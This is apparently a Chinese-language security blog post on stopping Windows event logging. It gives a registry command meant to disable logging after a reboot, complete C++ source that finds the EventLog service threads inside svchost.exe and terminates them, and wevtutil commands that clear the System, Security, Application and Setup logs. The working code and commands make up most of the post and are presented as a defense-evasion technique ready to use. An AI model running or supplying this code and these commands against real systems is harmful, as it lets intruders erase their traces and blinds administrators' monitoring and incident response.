停止windows日志记录研究

  1. 方法一:注册表修改永久停止日志记录
  2. 方法二:停止记录日志记录的线程
  3. 参考链接

方法一:注册表修改永久停止日志记录

需要注销/重启

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\MiniNt"

方法二:停止记录日志记录的线程

思路:
tips:需要拥有SeDebugPrivilege权限,不然不能正确执行–>使用powershell管理权限运行即可
1.遍历所有进程获取所有进程PID
2.获取所有进程名为svchost.exe的进程PID
3获取这些进程命令行存在LocalServiceNetworkRestricted字符串的PID
4.获取这个PID的所有线程(TID),获取所有TID的服务名称。是eventlog/EventLog字符串服务名称杀掉线程

用到的API:
枚举所有进程:
CreateToolhelp32Snapshot
Process32First
Process32Next

x64获取指定进程块(PEB)/TEB信息:
ntdll.dll - NtQueryInformationProcess #获取进程块信息
ntdll.dll - NtQueryInformationThread #获取线程块信息

读取内存:
ReadProcessMemory

枚举所有线程:
CreateToolhelp32Snapshot
Thread32First
Thread32Next

获取到进程号之后我们需要识别具体的服务线程,在windows vista之后的系统,具体的服务线程约定使用servicemain作为入口点,同时服务线程自身会带有一个等同于服务名的tag,这个tag可以帮我们识别这个线程是否是我们寻找的,在x64线程teb中0x1720偏移的位置存放着service tag的数字标识
我们可以那这个数字标识使用I_QueryTagInformation api查询到具体service tag内容。

#include "stdafx.h"
#include <Windows.h>
#include <TlHelp32.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")


char *exename = "svchost.exe";
typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID;
typedef NTSTATUS(WINAPI* pNtQueryInformationThread)(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG);
typedef struct _THREAD_BASIC_INFORMATION
{
    NTSTATUS    exitStatus;
    PVOID       pTebBaseAddress;
    CLIENT_ID   clientId;
    KAFFINITY               AffinityMask;
    int                        Priority;
    int                        BasePriority;
    int                        v;


} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;


typedef enum _SC_SERVICE_TAG_QUERY_TYPE
{
    ServiceNameFromTagInformation = 1,
    ServiceNameReferencingModuleInformation,
    ServiceNameTagMappingInformation,
} SC_SERVICE_TAG_QUERY_TYPE, *PSC_SERVICE_TAG_QUERY_TYPE;


typedef struct _SC_SERVICE_TAG_QUERY
{
    ULONG   processId;
    ULONG   serviceTag;
    ULONG   reserved;
    PVOID   pBuffer;
} SC_SERVICE_TAG_QUERY, *PSC_SERVICE_TAG_QUERY;


typedef NTSTATUS(WINAPI *NtQueryInformationProcessFake)(HANDLE, DWORD, PVOID, ULONG, PULONG);
typedef ULONG(WINAPI* pI_QueryTagInformation)(PVOID, SC_SERVICE_TAG_QUERY_TYPE, PSC_SERVICE_TAG_QUERY);
#define errorlog(data) {printf("API Error:%s Code:%d\n",data,GetLastError());}


void EnumProcess();
void test(int);
void checkeventlog(CHAR *, int);
void EnumProcess() {
    HANDLE hprocesseap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hprocesseap) {
        errorlog("Funcion EnumProcess--->CreateToolhelp32Snapshot");
    }
    PROCESSENTRY32W pe;
    pe.dwSize = sizeof(PROCESSENTRY32W);
    BOOL getlist = Process32First(hprocesseap, &pe);
    while (getlist)
    {
        CHAR processname[100];
        sprintf(processname, "%ws", pe.szExeFile);
        if (strcmp(exename, processname) == 0) {
            test(pe.th32ProcessID);
        }
        getlist = Process32Next(hprocesseap, &pe);
    }
}




void test(int pid) {
    HANDLE target = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    PEB peb = { 0 };
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    NtQueryInformationProcessFake NtQueryInformationProcess;
    RTL_USER_PROCESS_PARAMETERS Param = { 0 };
    int commandlength = 0;


    NtQueryInformationProcess = (NtQueryInformationProcessFake)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQueryInformationProcess");
    NtQueryInformationProcess(target, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);
    ReadProcessMemory(target, pbi.PebBaseAddress, &peb, sizeof(PEB), NULL);
    ReadProcessMemory(target, peb.ProcessParameters, &Param, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL);
    WCHAR *buffer = new WCHAR[Param.CommandLine.Length + 1];
    ZeroMemory(buffer, (Param.CommandLine.Length + 1) * sizeof(WCHAR));
    ReadProcessMemory(target, Param.CommandLine.Buffer, buffer, Param.CommandLine.Length, NULL); //获取进程命令行
    if (wcsstr(buffer, L"LocalServiceNetworkRestricted")!=NULL) {
        printf("PID:%d\n", pid);
        checkeventlog(exename, pid);
    }
}


void checkeventlog(CHAR *name, int pid) {
    printf("%s %d\n", name, pid);
    pNtQueryInformationThread NtQueryInformationThread = NULL;
    pI_QueryTagInformation I_QueryTagInformation = NULL;
    THREADENTRY32 te;
    THREAD_BASIC_INFORMATION tbi = { 0 };
    SC_SERVICE_TAG_QUERY tagQuery = { 0 };
    te.dwSize = sizeof(THREADENTRY32);
    HANDLE hTag = NULL;
    NtQueryInformationThread = (pNtQueryInformationThread)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationThread");
    I_QueryTagInformation = (pI_QueryTagInformation)GetProcAddress(LoadLibrary(L"advapi32.dll"), "I_QueryTagInformation");
    HANDLE threads = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (INVALID_HANDLE_VALUE == threads) {
        errorlog("checkeventlog--->CreateToolhelp32Snapshot");
    }
    BOOL getlist = Thread32First(threads, &te);
    while (getlist) {
        if (te.th32OwnerProcessID == pid) {
            HANDLE hthread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
            NtQueryInformationThread(hthread, (THREAD_INFORMATION_CLASS)0, &tbi, 0x30, NULL);
            HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, te.th32OwnerProcessID);
            ReadProcessMemory(hprocess, ((PBYTE)tbi.pTebBaseAddress + 0x1720), &hTag, sizeof(HANDLE), NULL);
            tagQuery.processId = te.th32OwnerProcessID;
            tagQuery.serviceTag = (ULONG)hTag;
            I_QueryTagInformation(NULL, ServiceNameFromTagInformation, &tagQuery); //获取线程的服务名称
            CHAR servicename[MAX_PATH] = { 0 };
            sprintf(servicename, "%ws", tagQuery.pBuffer);
            if (strcmp(servicename, "EventLog")==0) {
                printf("Kill %d %s\n", te.th32ThreadID, servicename);
                TerminateThread(hthread, 0);
            }
            else if (strcmp(servicename, "eventlog")==0) {
                printf("Kill %d %s\n", te.th32ThreadID, servicename);
                TerminateThread(hthread, 0);
            }
            tagQuery = { 0 }; //重置线程数组,不然只有一个线程的信息一直刷一样的 -作为一个例子记得写入笔记 (
        }
        getlist = Thread32Next(threads, &te);
    }
}


int main()
{
    EnumProcess();
    system("pause");
    return 0;
}

Windows7测试:

Windows10测试:

清除windows日志
(清除所有日志,但是将生成一个事件ID为1102的日志,用于清除日志)

wevtutil cl System
wevtutil cl Application
wevtutil cl Security
wevtutil cl Setup

参考链接

https://idiotc4t.com/defense-evasion/fuck-eventlog


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:停止windows日志记录研究

本文作者:九世

发布时间:2021-05-18, 12:09:39

最后更新:2021-05-18, 12:20:46

原始链接:http://422926799.github.io/posts/c6ff3736.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录